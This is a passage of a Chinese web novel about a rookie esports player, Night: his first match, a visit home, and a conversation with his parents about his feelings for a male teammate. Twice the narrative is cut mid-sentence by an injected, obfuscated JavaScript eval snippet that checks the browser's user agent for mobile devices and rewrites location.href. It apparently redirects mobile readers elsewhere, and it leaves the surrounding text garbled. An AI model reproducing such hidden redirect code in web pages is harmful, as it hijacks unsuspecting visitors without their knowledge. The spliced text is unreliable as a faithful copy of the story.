不是零落刚刚对他的提醒,而是更早一点的时候、休息室门前,郁秋在他耳边低语的喑哑声—— “电竞选手的所有比赛,本就只为自己和自己所在的团队服务。” 所以台下观众的多少对他来说,本就该是无伤大雅。 83.观众 夜雨辰站在隔间里,面色阴沉地听着外面洗手台旁两人的谈笑声。 他根本没想到,自己想展示拿手英雄和紧张到晕头转向的心里居然被算计进去了。 “害,这些打心里战术的人心真脏。” “那可不,希望下一把也这么轻松,然后今天美美下班。” 两人的声音开始逐渐变远。 “突然想起Night前几天的那个采访的贴子,现在想想,那可真是虚张声——卧槽,你怎么在这?” 谁? 夜雨辰一愣,悄悄打开门,看到刚刚说他坏话的这两人正傻呆在门口并看着同一个方向。 紧接着,他便听到一道熟悉且夹杂着无语的声音:“这是公共场所,我为什么不能在这?” 夜雨辰:“……” 怎么刚刚好是郁秋? 不过,他耳朵不禁往外凑了凑。 郁秋听到了多少?会是什么反应? 外面其中一个人“嘁”了一声:“偷听崽,听到又能咋样?” 夜雨辰:“?” “走了,不和他计较。”另一个人冷哼一声,朝郁秋丢下一句话,“技术不行,素质还极差。” “嗯嗯,好走不送。”郁秋对这些话似乎完全不在意,十分和善道,“希望半小时后还能在你们脸上看到笑容。” 就这么走了? 夜雨辰见门口二人离开,诧异又迅速地出了隔间并整理好自己,他一踏出洗手间,就发现郁秋靠在墙边双手插兜,像在等人的模样。 见对方这副悠悠然的模样,夜雨辰心里莫名升起一股说不出的委屈。他直接开门见山,冷声道:“你听了这么久,他们俩说我坏话你就没什么反应?” “你想要我什么反应?”郁秋偏过头,轻笑一声,“在人家的主场打骂他们的队员一顿?还是指责他们怎么能制定这种心理战术然后最后吵起来?” “……哼。” 听到这些一个个似乎本应是这个反应,但实则全都是违规行为的夜雨辰幽幽地瞥开了视线,有些不甘道,“那你就这么无动于衷吗?” 不是他说喜欢他的吗,为什么反应这么平淡? 但这种话又不能问出口,他也没想好怎么跟郁秋说自己其实听到了他的表白。 想到这,夜雨辰心情更不好了,直接扭头向JYY的休息室走去。 这种知道又不能说破的感觉可真让人烦躁。 “比赛没结束,他们现在开心可是半场开香槟。”郁秋跟在他后面耸耸肩,“这可是大忌,但现在不管他们,我现在更在乎你——” 夜雨辰脚步一顿,微微偏过头:“在乎我什么?” “开打前,你的注意力好像不止在比赛上。” “……”夜雨辰沉默了片刻,“没有,你错觉。” 说完,他便回过头继续向前走着。 郁秋见状,也没有多说什么。 不过他还是注意到,也没想到的—— 在他对夜雨辰说“观众很少,他很幸运”时,夜雨辰满是疑惑的面容夹杂着一闪而过的失望。 * “惜败惜败!” 一回到后台休息室,红彤着脸的开开瘫仰在沙发上大叹。 Qian叼着一根棒棒糖,翻了个白眼:“说的好像我们今天已经输了似的,又不是bo1。” One伸了个懒腰:“放手一搏咯!” 零落感叹道:“难得见到开开回来第一句话不是爆粗。” One诧异地看向开开:“你居然是比赛会骂人的类型吗?” Qian鄙视道:“装什么,你很礼貌?” One颔首:“不礼貌的部分播不出来,看的人也不知道我说过什么话,所以我特别礼貌。” 开开长吐出一口气,脸上的红温还未褪去,有些烦躁道:“真不想提这把,啥也没干就听到你们两条路频频传来噩耗,你们一个个跟葫芦娃救爷爷似的,但你们爷爷不是在上路吗?为什么没人来救救我?反而要爷爷我来和你们几个小崽子一起守家?哈,要不是这把情况特殊我真的要喷人了。” 零落无奈地捏了捏鼻梁:“不要压力队友,打一把,丢一把,放平心态下一把。” “说到心态的话……”提到这个词,One就回想起刚刚看到的台下的场景,忍不住有些感慨,“这种场地心里真的没什么太大压力,我已经好几年没打过这么少观众坐在台下的比赛了。” Qian黯黯垂眸:“又比以前少了。” 对JYY大部分成员来说,这种几乎没有人在现场观看的比赛,心态想不好也难。 “哎,真别说,我是真羡慕Night,第一场比赛下面观众这么少。” 开开仰天长叹道,“遥想我第一次上台的时候,台下全是人,隔个耳机都能听到他们的呼喊声,把我紧张得技术倒退五年,局内完全不敢有自己的操作和想法,一整把都小心翼翼的。” “虽然Night这把打的比较……但他敢于操作,我就很佩服了。” 说着,他就坐起身搓了搓身上起的鸡皮疙瘩,“我忘不了,我之前一失误,全场呼喊声瞬间悄无声息,那种坠入冰窟的感觉现在想想都后背一凉。” Qian嗤鼻笑道:“菜就多练。” 他第一次上台比赛的时候,台下观众可比开开多了好几倍,照样敢自己操作。 “这种东西多打几次比赛就习惯了。”身为最老战将的One站起身,活动活动了自己的筋骨,“不过我们六个人里,好像是郁秋第一次上场比赛时观众最多吧?诶,你们回来了?” One的最后一句话,直接让瘫在沙发上的两人瞬间转头看了过去。 开开一想起自己刚刚说了什么,倒吸一口凉气:“卧槽,这么快?” Qian不禁牙关一用力,咬碎了嘴里的糖:“什么时候回——” 夜雨辰看着开开,淡淡道:“从羡慕那句开始。” 开开瞬间汗毛竖起。 淦,那不就是听到他说夜雨辰上把玩的很菜? 夜雨辰也不出所料地抓住了他话里的重点:“为什么你们都说观众很少?对手却说观众很多?” “你听我解释,我刚刚说的意思是……欸?!” 在脑海里编造好了许多借口的开开突然反应过来这个问题愣住了。 除了郁秋其余三个人在听到这个问题后也暗暗松了口气。 开开立马迅速调整自己的状态装作一副若无其事的模样为夜雨辰解释道,“因为TZ常年混在B组不上不下的,成绩和成员都是中规中矩的,所以粉丝不多,一般不会有很多人在现在这个时间点来专门看比赛的。” One欣慰道:“以前JYY是冠军战队,现在还有一些粉丝来观看是愿意相信JYY可以重新夺回曾经的荣耀,所以一直默默支持陪伴着吧?” Qian撕开了一根新的糖并给夜雨辰也递了根糖:“只是一次比一次少了。” 零落干咳两声:“但这对你也算是件好事,可以让你更快适应台上的环境和氛围,反正赛场上决定胜负的也不是观众。” 郁秋十分赞同这个观点:“电竞选手的所有比赛,本就只为自己和自己所在的团队服务。” “……” 夜雨辰沉默了片刻。 确实,赛场上决定一个战队胜负的只有选手的操作和配合,但他心里还是会控制不住去在意—— “你们不会去在意台下观众的多少吗?” 一想到想象中的座无虚席和现实中的几乎无人关注的大落差,他就忍不住感到落寞。 “那肯定还是会忍不住在意一点的,” One大笑两声,一只胳膊直接搭上他的肩膀拍了拍,“其实很多人刚开始打比赛的时候,都会幻想台下座无虚席,毕竟我们都觉得凭自己技术就该在台上万众瞩目嘛。” “但实际上,很多人都忽略了出名的人的成绩都是慢慢打拼和熬出来的,观众和粉丝也是被我们的表现慢慢吸引的。所以我们只用知道是金子总会发光,踏实下来表现好自己就好了,如果你在台上实在忍不住去想这些场外因素,那就给自己来两巴掌清醒清醒,把注意力放到这把怎么发挥正常然后终结对手上。” 开开补充道:“台上打游戏的感觉和平常还是很不一样的,所以你现在的首要任务就是熟悉台上比赛的感觉就好了。” 夜雨辰默默点了点头。 台上和平常打游戏的感觉差距确实很大。 上场比赛,他好几次都不知道自己在干什么,就莫名其妙脑子混乱,于是空技能、送人头、在河道野区逛街……他甚至都觉得自己的技术一下倒退回了五年前。 “俩巴掌还是算了,听着就疼。”郁秋边喝水边道,“反正我不喜 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17096095|195317||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 欢观众多,台下一直这样挺好,观众多压力也大。” 开开小声嘟囔道:“好什么,冷冷清清的,一点动力都没有。” Qian咬着糖道:“总之踏实下来慢慢来肯定是没错的。” 零落看了眼手表,提醒大家道:“准备上台吧。” 在众人走出休息室,夜雨辰刚准备跟上大家的时,零落突然拉住了他。 他疑惑地回过头。 只见零落莞尔道: “Night,放轻松,你的路还长,所以这轮常规赛,你的首要目标就是熟悉赛台上的环境,能让自己正常且稳定的发挥就好,不用给自己太大的压力。” * 接下来的两场比赛,零落在bp布局里就直接碾压了对手,而且没有任何人的提醒下,他都完全不让对面再给压力夜雨辰心态的机会,阵容选出来的也都是克制阵容,局内战术也像开局安排好的那样完美地打了出来,让对手完全没有还手之地。 一下台,One就高呼道:“下班下班!首胜拿下!” 郁秋立马凑到夜雨辰旁边笑道:“我就说了吧,他们半场开香槟是大忌。” “……” 夜雨辰死死盯着自己的手掌,没有答话。 郁秋疑惑地看向他的手:“你的手怎么了?” “我在想。”夜雨辰感到十分疑惑,“刚刚说我坏话的那俩人,为什么不挣扎一下?” 他可不信这两人是良心发现不该说他坏话所以任由他欺负。 “挣扎什么?” 开开凑了个头来。 夜雨辰面色怪异道:“他们都被我握疼到面色扭曲,但还是任由我用足力握他们的手,我还以为他们会反用力回敬一下我,但他们甚至都没甩开,就那么傻愣愣的给我握着。” 最关键的是,那两人的反应简直就像想立马复仇但手上都已经完全用不出力气了,所以只能眼睁睁地看着自己这么对他们。 可两个大男人不至于这么力竭吧? 郁秋乐呵呵道:“谁知道呢,可能他们俩被气到肌无力吧?” 并偷偷把自己手背上印着的通红指印背在了身后。 One看到TZ战队的成员下台后,不由得啧啧道:“好高的战术素养,连续被平推两把结束后队员们居然都能这么和和气气的聊天,我还以为能见证一场吵骂呢。” 说着,他还有点感到可惜。 Qian瞥了一眼TZ战队的成员:“名副其实的‘和善’战队是这样的,很和平。” 开开小声嘀咕道:“这种和善有啥用?没前途的战队。” 一回到休息室,零落就朝五个人问道:“你们谁和我一起去采访?” 休息室顿时鸦雀无声,没有一个人愿意主动请缨。 零落似是早就猜到了这个情况,无奈地叹了口气:“我就知道,那老规矩,你们石头剪刀——” “我去。” 突然,夜雨辰毛遂自荐。 众人一愣。 开开立马问道:“你想好了吗?真去吗?那主持人问的问题可刁钻可讨厌了,特别是你还是新人!问的问题肯定好不到哪去!” 夜雨辰瞥了一眼他:“那你去?” 开开一噎,脸上写满了拒绝,过了半晌,他咬了咬牙:“我去就我去!你现在去很容易被老狐狸针对的!” 夜雨辰没忍住笑道:“开玩笑的,我是真的想去采访,下次你去,就这么定了。” 闻言,开开瞬间大惊失色,Qian和One在旁边偷笑,而郁秋挑了挑眉:“你这是采访上瘾了?” 夜雨辰瞟了一眼郁秋,默默点了点头但没有直接回答他,然后就和零落一起率先离开了休息室。 去采访场地的路上,夜雨辰一直在心里盘算着。 特地想来这趟采访,肯定不是因为他真采访上瘾了,而是想要找机会和零落单独找说一件事。 他停下脚步。 零落察觉到夜雨辰的异样,回头问道:“怎么了?” 夜雨辰站在原地踌躇着。 这周的比赛JYY只用打一场,他们这场比赛完后,有接近大半周的休息和训练时间,所以早在两天前夜雨辰就想好了这个计划,而且还不打算让郁秋知道。 他深吸一口气,下定决心,缓缓开口道—— “零落,我想请假,我要回家。” 84.父母 “被对手痛击,Night狼狈逃离比赛现场!” ? 夜雨辰刚接上电话,对面张口就来这句话。 他瞥向车窗外,有些无语道:“你在说什么东西?” 零落批了他的请假,他采访完就打个车回家了,哪来的“狼狈”和“逃离”一说? “哈哈哈,这是我刚刷出来的一个超话贴。”小U在电话对面笑得上气接不上下气,“夜雨辰被对手打回家了,笑死我了,不知道的以为你直接被对手零封了呢。” “……”夜雨辰嘴角抽了抽,目光瞥向旁边窗外,冷哼一声,“发这个贴的人真是闲到蛋疼。” 小U忍不住感叹道:“别说,这下面还带了个你一个人上车、不跟大战队的人上大巴的照片呢,你才从馆里出来多久啊?转角网上就有人开始带你节奏了,哇塞,这是有人在针对你吧?” 夜雨辰瞥了一眼时间。 他从馆里出来到现在,一共也就过去了十多分钟吧? 没多少人会无聊到这么关注他吧?除非…… 他看着车窗外不断变化的景色,不以为意:“不知道,有可能真有人闲得慌,但也有可能是某个姓邱的——” 提到邱子幸,他突然反应过来什么,立马严肃问道:“你现在在哪跟我打的电话?俱乐部?” “没呢,我在外面跑腿。”小U悠然自得道,“俱乐部里我才不会给你打电话,而且邱子幸也不知道我们认识,我保密工作做得可好了。” 夜雨辰松了口气。 自从邱子幸进FQ战队和做出针对自己的行为时,他就常常会担心因为自己和小U关系很好,所以邱子幸会在战队内针对小U。 不过,夜雨辰感到疑惑:“你跑腿,跑什么?” 那么大的一个俱乐部,有那么多工作人员,需要一个队员来跑腿吗? 小U:“商务对接,这就是战队的事情了,具体不方便和你多说,不然会违规罚款的,放心,和邱子幸没关系的,他现在天天忙着和队员练配合,才没空关心其他事。” 闻言,夜雨辰皱了皱眉,只好不继续问下去了。 每个人的战队合同白纸黑字就摆在那,要是谁不小心违规了,可是要赔合同上对应的数额的,一般数目都在六位数甚至七位数。对小U的经济条件来说,这些可都是天文数字,所以他不得不对所有可能违规的事情小心翼翼。 “聊这个晦气的人干嘛啊,我第一时间给你打电话过来才不是为了跟你聊他的。”小U撇了撇嘴,“你快点给我讲讲,第一次上台打比赛是什么样的感觉?” “……” 回想起刚刚比赛对局里自己频频失误的三把操作,夜雨辰顿了顿,“也……就那样。” 小U:“哪样?具体点呗,比如和打全国大赛时的区别是什么样的?总会有些不同的吧?还有看台下观众是什么样的?和队友沟通听得到他们说话吗?紧张吗?在台上打的感觉是什么样的?你是听教练选的英雄还是自己觉得哪个能打就选了哪个?……” 听着对方话不停歇地追问,夜雨辰愈发沉默了。 就算现在他们俩沟通隔着手机,他都能感受到小U是真的对上台比赛充满了十足的期待和渴望。 但他这个赛季不在大名单上,没有上场的资格。 想到这,夜雨辰不禁黯黯垂下眼眸:“上台感觉第一个最明显的差别就是……有耳机了吧?” “怎么说?” “戴上耳机的瞬间,场内无数的杂音戛然而止,甚至有种自己聋到抓不到任何声音的错觉,然后队友的声音就会突然出现把你吓一跳。不过一下子能听清队友的说话声,真的无法第一时间习惯。” 说到这,夜雨辰不禁回想起和小U打全国大赛时候的场景,低笑道,“之前我们对打的时候不就是没耳机嘛?和队友又是一长排桌子坐开,加上场内主持人的声音也吵得要死,所以我们和队友沟通不得不只能靠吼,甚至吼到让对手都能听到我们的声音。” 一提这个,小U瞬间也回忆起来了当时的场景,无奈道:“对,我记得,我们两桌隔得那么开我都能听到言星奕那大嗓门,还有你其他的队友,嚷嚷到差点把我们的气势都压没了,简直就像在靠分贝打游戏。哦,除了你,你全程像个人机一样没点动静,特别是你们翻盘的时候,你的队友都激动到快蹦我们脸上了,就你,如坐针毡,老夜,你哪天也来吼上几句呗?” “……” 如坐针毡个屁。 夜雨辰没好气道:“不可能。赢个比赛而已,有什么好吼的?废嗓子,我才不会干这种事情,没意义。” 小U嘻嘻道:“你其实也想像他们这样奔放吧?只是感觉这种行为会很掉面子,所以一直在克制自己做出这些举动。” 夜雨辰拿着手机的手指微微蜷了一下。很快,他便嗤鼻道,“好笑,我上全国第一的时候都没多激动,就一个区区的小比赛,赢了理所应当才对,怎么可能吼出声?告诉你,这辈子不可能的事,而且和陌生队友有什么好共享胜利的?” 小U啧啧道:“好面子就是好面子,找那么多借口,是谁拿了全国第一的时候给我们发了一堆战绩截图?然后还发到了音符平台和朋友圈?” 夜雨辰面无表情道:“那叫炫耀,和吼无关,谢谢。” “炫耀不也是激动?比较内敛的说法罢了。”小U翻了个白眼,“反正我打赌,你以后肯定会在比赛台上完全无法压抑这种激动,众目睽睽下在台上忘我地和队友一起享受并发泄这种热血的狂欢,这可是电竞的最大魅力之一。” 夜雨辰不以为意。 赢了不就好了,台上大吼大叫这些就算了。 小U把话题掰了回来:“那除了耳机,还有什么其他的感受吗?” 夜雨辰:“……” 有,而且一堆,但是都不想说。 小U疑惑道:“嗯?喂?老夜,怎么不说话了?我网断了?喂喂喂?” 踌躇了半晌,夜雨辰才心不甘情不愿地简述道:“聚光灯照得脑子全程发热发晕、脸上打的厚粉也很难受、心率一上台就降不下去、打着打着就突然不知道自己该干嘛了,赛前还会想一些其他的烦心事,以及台下的观众——” 小U突然恍然大悟:“怪不得你这几把打成这样,我已经好久没见你连续几把打得这么下饭了,真的,菜的抠脚,直接帮我省了一顿晚饭的钱,谢谢你啊。” “?” 夜雨辰的话一顿,皮笑肉不笑道:“你想死?” 小U立马忙碌道:“啊,什么?叫我吗?这就来!啊不好意思啊老夜,我有点事要先挂电话了你一个人慢慢玩吧!” 说完,小U就立马挂断了电话。 夜雨辰盯着电话挂断的界面,冷哼一声。 要不是知道小U真的很想体验上台上比赛,他都怀疑这人是来挑衅对的。 而且真会挑时间挂电话,刚刚好他到家了。 刚刚他跟零落请假的时候,零落没有多问,给了夜雨辰两夜的回家时间,前提是他就算回家,也得关注其他战队的比赛表现,以及,后天回基地的时候不要踩点。 “哇塞,是谁回来了?” 夜雨辰一进家门,就听到书房里传来他老妈惊讶的声音。 许艳一听到门口的动静就从书房里跑出来瞅一眼,在看到是夜雨辰的刹那,她感到十分诧异:“哇塞,稀客啊!怎么回家了?也不通知我们一下!” 夜雨辰一边脱着自己鞋子一边道:“请了两天假,想家了,算个惊喜?” 虽然也只有一个月没回过家而已。 “在战队呆的如何?伙食怎么样?有好好休息吗?有照顾好自己身体吗?”许艳快步走到夜雨辰的跟前,她端详着他的脸色和身形,皱眉道:“瘦了,没吃好。” “队友们都很好,伙食也很好,作息也……十分正常,身体也没问题。”夜雨辰无奈地一一答道,“而且老妈,我这是黑色衣服,显瘦,我胖了。” 许艳对这个回答明显不太满意,眉头皱得更紧了:“不行,毕竟是在外吃饭,这两天要给你好好补补,你晚饭想吃什么?这就让你老爸起来给你做。” 说完,她就朝着客厅大吼道:“夜昊明,别看电视了!起来干活!儿子回来了也不见得迎接一下!” 夜昊明懒洋洋地起身并伸了个懒腰:“有什么好迎接的,今天不是儿子比赛吗?怎么刚打完比赛就回家了?” 许艳这才想起这回事:“对啊,儿子你今天比赛,感觉怎么样?” 夜雨辰淡淡道:“赢了。” “那你怎么看上去不开心的样子?” “……”夜雨辰幽幽瞥开视线,“你错觉。” 他迅速收拾好东西后去厨房给夜昊明打下手,许艳悠哉悠哉 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17108896|195317||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 地躺在客厅沙发上看电视坐等吃饭,顺便刷着手机。 夜昊明一边切着菜一边问道:“今天第一场比赛的感觉如何?” 夜雨辰洗菜的手一顿,有些闷闷不乐了:“你们怎么都问我这个?” 夜昊明蔼笑道:“看样子不怎么样。” “……”夜雨辰一噎,小声嘀咕道,“知道还问。” 夜昊明试图猜测:“不会是受到什么打击所以仓皇跑回家了吧?” “那不是,才没跑回家,只是——” 夜雨辰下意识脱口而出,在意识到自己要说什么的时候又突然噤声了。 夜昊明挑眉:“只是?” 夜雨辰洗好了菜,直起身甩甩手,语速极快道:“吃饭的时候和老妈一起聊,我要去看比赛了,其他队的表现还是得关注的。” 说完,他就匆忙溜回自己房间观看下一场其他战队的表现了。 * 一家三口吃饭的时候,夜昊明安静地吃着饭,许艳严肃道:“儿子,我刚刚看了一下你们战队的账号,下面怎么有人说你‘和队友不合,独自离开比赛现场’,‘比赛坑了所有队友,被排挤到仓皇而逃’的言论?你在战队真的没被欺负吗?” 夜雨辰夹土豆丝的手一顿,无奈笑道:“真没有,妈,他们都很好,都很照顾我,网络上的话别太信,有些人就是太闲了。” 许艳半信半疑道:“那你为什么比赛一结束就回家了?” 夜雨辰:“离家近,方便,基地太远了。” 夜昊明幽幽道:“受打击了,接受不了自己表现太差,所以灰溜溜地回家了。” 夜雨辰哑声:“…………” 夜昊明看向他,笑嘻嘻道:“儿子,虽然我不玩这个游戏,但是战绩这些怎么看我还是研究了一下的,比赛直播我也实时观看了,每次对局结束的时候,你的眼里都写满了对自己发挥的不满意。” 夜雨辰默默低下头,不自觉地拿筷子对着碗一戳一戳的。 许艳顿时明白了夜雨辰回家的原因:“没事儿子,不用给自己太大压力,第一次发挥失误很正常,没什么好气馁的,最关键的是你需要从中吸取经验,而且今天的结果对你来说也是满意的。” 夜雨辰闷闷不乐道:“嗯……” 见儿子还是不太高兴,许艳责怪地瞪了一眼夜昊明,接着摸了摸夜雨辰的头:“没事儿子,工作上遇到各种各样的事情都很正常,失败也是人生常常需要面对的一件十分正常的事情,不过,你如果遇到什么困难烦心的问题感到十分束手无策,那都可以跟我们说说,你要记住,家里永远是你最坚实的后盾。” 夜雨辰眨了眨眼,幽幽瞥开了视线,小声道:“现在真有一个。” 而且急需帮助。 许艳瞬间瞪大好奇地双目,似乎是因为听到儿子遇到麻烦要询问他们建议而感到开心:“什么问题?” “额……”夜雨辰踌躇了半晌,耳根开始有点发红,似乎是因为害羞不太敢看他爸妈的眼神,慢慢憋出了四个字,“感情问题。” 这个问题他没几个适合问的对象,而且他爸妈毕竟也是过来人,所以夜雨辰这几天思来想去,决定把这个问题带回家问问家里人的意见。 “?”许艳的双眸写满了激动和兴奋,“是战队里的某个小姑娘员工吗?” “不,不是……” 夜雨辰的面庞越来越红,引得许艳的八卦好奇心越来越重。 他深吸一口气,尽量让自己冷静下来。 他只想以平常心的心态来问出这个问题。 等确认自己平复下来后,他带着有些绯红的面庞,冷静地问道:“爸、妈,我想回家其实除了对自己的表现不满,还有一个原因,这个问题我纠结了好几天,让我有点烦。” 一说到关键点,他又控制不住有些支支吾吾:“就是……如果,我是说如果,战队里我喜欢上了我的舍友,然后他趁我睡着的时候偷偷跟我表白,第二天起床又装作前一天晚上啥也没发生的模样,我该怎么办?” “哐当!” 许艳手上的筷子一落砸到碗上,夜昊明也瞬间忘了咀嚼,满是震惊地看着夜雨辰。 两个人脸上对夜雨辰回家的喜悦瞬间收敛,鸦雀无声。 夜雨辰看着许艳的面庞肉眼可见的逐渐升红,弱弱补充道:“嗯……我的舍友不是女生,是男生。” 85.家 餐桌上陷入一片诡异的寂静。 夜昊明和许艳僵在餐桌上,而且脸色肉眼可见的愈发难堪。 沉默了许久后,许艳才有些艰难地开口问道:“‘如果’?” 夜昊明一副一言难尽的模样,没有说话。 夜雨辰有些心虚地看向一旁,嘴角忍不住有点微微翘起:“去掉这两个字也不是不行。” 霎时,餐厅的空气变得粘稠了起来。 夜雨辰有些紧张地吞了口唾沫。 如果可以,他也想问一些恋爱经验老道的同龄人,可他想不到其他能问的对象—— 战队里无论是谁,他觉得都不适合问出这个问题;小U和言星奕从没谈过恋爱,和他大概率半斤八两,给不出什么好主意;有耳不知道为什么变成人机似的,只会跟他说“先想比赛”,一直掰开话题;而小柯的话……还是别给其他战队人知道自家战队的私事吧。 而且夜雨辰相信,感情这方面上的问题,走过的路比他吃过的盐还多的老一辈一定经验更深一点。 所以百般踌躇下,他还是决定问出口“现在到底该以什么样的心态去面对郁秋,以及该不该告诉他自己其实听到了他说的话”的问题。 是直接戳穿?还是装糊涂? 可他无法当作那晚是无事发生的模样。 过了好半晌,许艳才揉了揉自己的太阳穴,长叹一口气:“你喜欢男生?” 夜雨辰面不改色且语速极快道:“我觉得这不是重点,重点是我现在不知道应该怎么去面对他。” 许艳似乎根本没听进去夜雨辰的话,而是头疼道:“你想带个男朋友回家?你的队友?不是开玩笑?” 闻言,夜昊明的面色更加古怪了。 夜雨辰有些支吾:“可能……吧?不是玩笑,但讨论带回家是不是有点早了?” 得到这个答案,夜昊明干巴地咀嚼着菜根,许艳起身去给自己倒了杯水冷静冷静。 夜雨辰见父母始终无法保持表面上的冷静,这才有些后知后觉问道:“我现在是不可以谈恋爱吗?” “不是不可以谈恋爱的问题,你成年了,想怎么谈就怎么谈,只是——”夜昊明深吸一口气,捏了捏自己眉心,像是终于做好了心理准备才缓缓道,“你喜欢的类型有点不在我们的认知范围内。” 许艳脸上的红温还未褪去,完全没有吃饭的心思:“他会做饭吗?” 夜雨辰回忆了一下,不确定道:“可能会吧?不知道,这一个月来基地里都是阿姨做饭的,而且妈,这不是我现在问题的重点。” 夜昊明简单答道:“你如果现在不想改变你们的关系,那你就装作什么都不知道的样子,以前和他怎么相处的,现在怎么相处就行。” 许艳拿出手机,开始翻找着JYY战队发在网络上的队员个人照,严肃问道:“你们是舍友的话,你觉得他的生活习惯怎么样?他有没有什么不良嗜好?” “他的生活习惯都很卫生讲究,就是审美不太行算不良嗜好吗?”夜雨辰下意识回答完,又发现许艳在答非所问,无奈地叹了口气,“但妈,我们两个聊的好像不在同一个频道?” 他转头看向夜昊明:“但我现在有点不太会和他像以前一样相处了,他表白就算了,还……总之他的这一系列行为太影响我的思绪了,而且我从没想过他喜欢的人是我。” 说着,他的脸上不由得铺上一层极浅的分红。 夜昊明感到疑惑:“为什么?” “因为……” 夜雨辰一直酝酿着,但完全无法说出具体原因。 因为按照郁秋的说法,他应该是两年前就喜欢自己了,可他们那时候并没有过多交涉,所以他自己也很纠结这一点。 闻言,许艳停下了手上的动作,面色凝重道:“你真的喜欢他吗?还是你只是因为他跟你表白了,你就觉得自己喜欢他了?” “我不知道。”夜雨辰黯黯垂下眼眸,“但在他表白前,我和他走得近,我就开心;看到别人和他走得近,我就不开心。我不知道这算不算喜欢。” 说到这,他便低声吐槽道:“感情这种东西,真复杂、烦心。” 如果他真去追溯一下自己对郁秋有好感的起源的话……虽然很不想承认,但好像两年前那次网络舆论的烂好人行为,就已经有一点点了吧? 他那时候对郁秋的印象——虽然表面上的行为很讨人嫌,脑子看上去也不太好使,但他的行动和话语背后却总给人一种别有深意的缜密感。 像想保护什么,但无法说出自己真正想保护的东西是什么。 “儿子,你对这个人的感情究竟是如何的,你只能自己琢磨,你只要对待好自己的感情,无论结果如何,问心无愧就好。” 了解大概状况后,夜昊明语重心长道,“但你必须清楚一件事,你不能因为私人感情原因,影响到你做其他事的状态和效率,这很不值得。” “你得先做好自己手头上的事情,再去考虑这一点,而不是思考这一点从而影响到你手头上事情,你得分清楚事情的轻重缓急。” 听着夜昊明的教诲,夜雨辰默默点了点头。 纵使他再怎么为今天比赛发挥不好找什么场内场外的借口,但终究不得不承认,其实比赛上他无法做到心无旁骛、频频失误,还有一个原因就是因为听到郁秋的声音总是忍不住分神。 所以他必须学会不被感情影响到比赛状态的心里。 这时,许艳终于在网络上翻到了战队的定妆照,把手机放到夜雨辰跟前问道:“你说的人是哪个人?” “这个。”夜雨辰一眼便看到了郁秋的照片,然后对夜昊明道,“其实除了这个问题,这一个月以来,也见识经历了很多其他事,受益匪浅。” 夜昊明意味深长道:“人生就是这样,所有人包括我们一直都在成长的过程中。而人和人的的关系也常常会入只隔了层浅薄的屏风、暧昧不清,但等时机到了屏风自然而然便会被撤去,其间总比强行在上面戳一个通风的洞体面。” 许艳看到郁秋的照片,似乎是对对方的容貌稍微满意一些,面庞上的红色终于开始消褪了一些,但她依旧叨叨地问道:“他有点外卖的习惯吗?” 夜雨辰回忆了下自己印象里郁秋这一个月来在战队的伙食:“很少,我们那也不方便点外卖。” 除了他刚到基地的那天晚上以外,好像就没见过郁秋点外卖,大半夜饿了他只会泡泡面。 许艳紧接着问道:“ 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“还有会做饭,且要好吃。” 许艳立马补充道。 夜雨辰更加无奈了:“妈,你怎么对做饭这件事这么上心?” 许艳冷哼一声:“男人不会做饭算什么本事?以前让你学着做饭是为了让你结婚的时候好拿捏丈母娘的胃,更方便娶老婆的,所以要是这个什么郁秋不会做饭,那就不可能进我们夜家门。” 从未思考过这些问题的夜雨辰:“…………” 您想的也太远了吧!!! 他扶额道:“妈,做个饭的问题而已,我会不就行了?” 许艳丝毫不退让:“那不行,让你学做饭不是为了让你未来照顾男生的,所以他未来不会照顾你,我就不允许你们谈。” 夜昊明凑到夜雨辰耳边,小声道:“儿子啊,初你爹我就是靠炒得一手好菜,拿捏住你外婆的胃才娶下你妈的,所以做饭这件事情确实很重要。” 许艳不禁有些洋洋得意道:“而且不仅要会做饭,还必须常常做饭,不要想着懒得做就偷偷靠点外卖来解决。” 夜雨辰不由得感到好奇:“为什么?” 他一直以为父母在家里很少点外卖只是嫌弃外面的外卖不太卫生。 许艳一边收拾着碗筷,一边理所当然道:“因为家里的灶台一直在工作着才更有家的味道啊。” 夜昊明点了点头。 夜雨辰则是有点没理解许艳的意思。 许艳见状,侃侃解释道:“不然你想想,我们白天上班,晚上回家后家里只有冷清的灶台、囫囵吞枣的解决晚饭,再各做各的消遣事情,最后躺在同一张床上睡觉,这和只找了个合宿搭子有什么区别?一点都没有家人的味道。” “家是和家人一起共建起来的,所以同一件事情上大家分工好,虽然会更累一点,但是你会感到生活充实又幸福。所以如果你未来对象不符合这个条件,管他男的女的老的少的,我都不会同意。” 说完,她笑嘻嘻道:“当然,因为做饭比洗碗更加麻烦且动脑,所以,麻烦的事情当然要丢给老公做啦。” 86.回消息 两天后的早上八点,夜雨辰便回到了基地。 这个点,几乎所有队员都还在各自屋里睡觉,所以他轻手轻脚地拿着自己的行李上楼。 等走到自己的房间门口后,他小心翼翼地将房门打开一个小缝,试探性地瞅了眼房内。房间内,窗帘被拉得密不透光,他全靠门外钻入门隙的光线才勉强看到了里面的状况——两张床上,一张整齐如一,另一张上面似乎正熟睡着一个人。 见自己的动静没吵醒郁秋,夜雨辰才稍稍松了口气,蹑手蹑脚地进房间带好门,在尽可能保证自己没发出任何动静的情况下,迅速收拾完了自己的行李,便拿好自己的训练机和手机准备去楼上训练室。 